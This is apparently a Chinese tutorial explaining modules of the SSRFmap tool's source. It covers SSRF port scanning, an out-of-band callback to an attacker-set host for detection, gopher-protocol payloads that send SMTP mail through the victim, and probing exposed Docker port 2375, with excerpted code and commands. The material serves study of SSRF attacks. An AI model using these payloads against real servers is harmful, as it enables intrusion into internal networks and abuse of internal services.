从ssrfmap源码中学习ssrf (二)

ssrfmap源码解读

modules

portscan [scan]

功能

端口扫描

原理

如果在存在ssrf的服务器上,向目标IP的不同端口发出请求,开放端口和未开放的端口返回的报文不一样,即可利用此判断端口是否是开放的

代码实现

首先将测试点全部置空,发出请求,收到的报文作为参照报文 compare

随后填入不同的端口,并发发出请求,将其得到的报文与 compare 相比较,如果不相同,则判断端口是开放的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Copyright (c) 2018 Swissky
payload = wrapper_http("", host, port.strip())
r = requester.do_request(param, payload)

# Display Open port
if r != None and not "Connection refused" in r.text:
timer = datetime.today().time().replace(microsecond=0)
port = port.strip() + " "*20

# Check if the request is the same
if r.text != '' and r.text != compare.text:
print(f"\t[{timer}] IP:{host:12s}, Found \033[32mopen \033[0m port n°{port}")
else:
print(f"\t[{timer}] IP:{host:12s}, Found \033[31mfiltered\033[0m port n°{port}")

httpcollaborator [detect]

功能

类似于 burp 的 collaborator,用来检测目标是否含有ssrf漏洞

原理

如果服务器存在SSRF漏洞,那么向有公网 IP 的服务器发出的请求会被记录,由此可以判断是否存在SSRF漏洞

代码实现

1
2
3
4
5
# Copyright (c) 2018 Swissky
for param in params:
logging.info(f"Testing PARAM: {param}")
payload = wrapper_http(f"?{param}", args.lhost, args.lport.strip() )
r = requester.do_request(param, payload)

smtp [detect]

功能

如果存在ssrf的点有发送 smtp 邮件功能,则可以利用这个验证 ssrf

原理

使用gopher协议来发送smtp指令,从而发送邮件

前置知识

SMTP

简单邮件传输协议(SMTP)是一种通过网络传输电子邮件(email)的技术标准,一般监听25号端口

gopher协议

gopher协议是一个古老且强大的协议,可以理解为是http协议的前身,他可以实现多个数据包整合发送。通过gopher协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。

gopher请求的格式:

1
gopher://<ip>:<port>/_<tcp数据流>

多条请求需要 %0d%0a%0a 隔开,特殊字符需要进行 url 编码, 从这里看得出来和http协议很相似

利用gopher协议发送tcp数据

监听

image-20241220103457408

发送

image-20241220103536771

收到数据

image-20241220103558668

利用gopher协议发起http请求

1
curl gopher://www.baidu.com:80/_GET%20/%20HTTP/1.1%0d%0aHost:%20www.baidu.com%0d%0a

image-20241220104301881

注意http请求以 \r\n表示请求结束,但我测试了下,发现 %0a 结尾也是可以的:

image-20241220104512514

代码实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# Copyright (c) 2018 Swissky
for ip in gen_host:
port = 25
commands = [
'MAIL FROM:' + self.mailfrom,
'RCPT To:' + self.mailto,
'DATA',
'From:' + self.mailfrom,
'Subject:' + self.subject,
'Message:' + self.msg,
'.',
''
]

data = "%0A".join(commands) # 使用\n作为分割符
data = urllib.quote_plus(data).replace("+","%20")
data = data.replace("%2F","/")
data = data.replace("%25","%")
data = data.replace("%3A",":")
payload = wrapper_gopher(data, ip , port)
logging.info("Generated payload : {}".format(payload))


logging.info("Mail sent, look your inbox !")
r = requester.do_request(args.param, payload)

docker [info leaks]

功能

docker 暴露 2375 端口,从而任何人都可以管理这台主机上的容器和镜像.利用 ssrf 可以泄露内网主机上运行的 docker 信息

前置知识

2375端口

2375端口是Docker守护进程的默认监听端口。通过该端口,可以与Docker守护进程进行通信,发送Docker API请求,管理Docker容器和镜像。

如果 2375 端口是开放的,则可以通过向 /containers/json 发送 http 请求查看 docker 镜像信息,获取 id , container name , command 等信息

利用命令行查看信息:

1
docker -H tcp://*.*.*.*:2375 info

总结

在绕过服务器过滤后,利用 gopher 协议可以对多种服务进行攻击.